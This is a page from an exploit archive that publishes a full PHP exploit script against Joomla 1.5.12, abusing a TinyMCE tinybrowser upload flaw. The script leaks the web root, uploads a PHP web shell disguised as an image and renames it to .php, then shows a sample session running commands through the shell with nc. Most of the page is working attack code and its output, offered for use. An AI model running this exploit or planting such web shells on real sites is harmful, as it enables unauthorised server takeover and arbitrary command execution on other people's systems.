Exploit the possiblities

Joomla 1.5.12 Code Execution Via TinyMCE

Joomla 1.5.12 Code Execution Via TinyMCE
Posted Nov 3, 2009
Authored by Luca De Fulgentis

Remote code execution exploit for Joomla 1.5.12 using a file upload vulnerability in TinyMCE.

tags | exploit, remote, code execution, file upload
MD5 | 703dc2699c920bd5ccf7a8f7e74ceef3

Joomla 1.5.12 Code Execution Via TinyMCE

Change Mirror Download
<?php

/**
** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability
**
** Tested against :
** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9
** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12
**
** Luca "daath" De Fulgentis - daath [at] nibblesec.org
** http://blog.nibblesec.org
**
**/

/*
daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$
*/


$host = "localhost";
$port = "80";
$install_path = "/";

$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser";
$dir = "/tinybrowser.php?type=image&folder=";
$upload = "/upload_file.php";
$rename = "/edit.php?type=file&folder=";

/*
* PHP shell
*/
$php_shell = "<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>";

echo "\n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]\n\n";

if($argc < 2) {
echo " Usage: php {$argv[0]} host joomla_install_path\n";
echo " Example : php {$argv[0]} localhost /joomla/ \n\n";
exit(1);
}

$host = $argv[1];

if($argc == 3) {
$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2];
$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/";
}

echo " [#] Attacking {$host}:{$port}{$install_path}\n";

$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0\r\n\r\n");
if(strstr($resp, "Restricted access")) {
die(" [-] Joomla is NOT vulnerable, exiting.\n\n");
}

$webroot = get_webroot_pathname();
if($webroot == "") {
die(" [-] Web root pathname NOT FOUND, exiting.\n\n");
}

echo " [+] Web root pathname is : {$webroot}\n";

$seed = md5($webroot . "s0merand0mjunk!!!111");
echo " [+] Magic token is {$seed}\n";

$my_dir = "i" . rand();
echo " [#] Creating remote directory ... ";
$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0\r\n\r\n");

if(!strstr($resp, "directory has been successfully created")) {
die("FAILED\n [-] Error - creating directory, exiting.\n\n");
}
echo "DONE\n";

$my_shell = md5(time());
echo " [#] Uploading image ... ";

$data = "--1234567\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"{$my_shell}.png\"\r\n\r\n";
$data .= "{$php_shell}\r\n";
$data .= "--1234567--\r\n";

$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1\r\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: multipart/form-data; boundary=1234567\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;

$resp = HTTPRequest($req);

if (!strstr($resp,"File Upload Success")) {
die("FAILED\n [-] Error - image uploading, exiting.\n\n");
}
echo "DONE\n";

echo " [#] Renaming image's extension (takes a while) ... ";

$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name";
$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=\r\n\r\n";

$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1\n";
$req .= "Host: {$host}\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: " . strlen($data) . "\r\n\r\n";
$req .= $data;

$resp = HTTPRequest($req);

if(!strstr($resp, "1 files have been successfully renamed")) {
die("FAILED\n [-] Error - image's extension renaming, exiting.\n");
}
echo "PWNED!\n";

echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php\n\n";
exit;

function get_webroot_pathname() {

global $install_path;

$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1.\r\n\r\n");

$pos1 = strpos($resp, "in <b>");
$pos2 = strpos($resp, "libraries");

if($pos1 === false || $pos2 === false)
return "";

$init = $pos1 +strlen("in <b>");

$str = substr($resp, $init, $pos2-$init);

if($install_path != "/") {

$install_path2 = str_replace("/", "", $install_path);

$pos1 = strrpos($str, $install_path2);

if($pos1 === false)
return "";

$str = substr($str, 0, $pos1-1);
}

if($str[strlen($str)-1] == "\\")
$str = substr($str, 0, $pos-1);

if(strstr($str, "/") && $str[strlen($str)-1] != "/")
$str = $str . "/";

$pathname = str_replace("\\", "/", $str);
return $pathname;
}

function HTTPRequest($req) {

global $host, $port;

$s = @fsockopen($host, $port, $errno, $errstr, 10);
if(!$s) {
die("\n [-] Error in connection, exiting.\n\n");
}

fputs($s, $req);
$resp = "";
while(!feof($s)) {
$resp .= fgets($s);
}
fclose($s);

return $resp;
}
?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    7 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close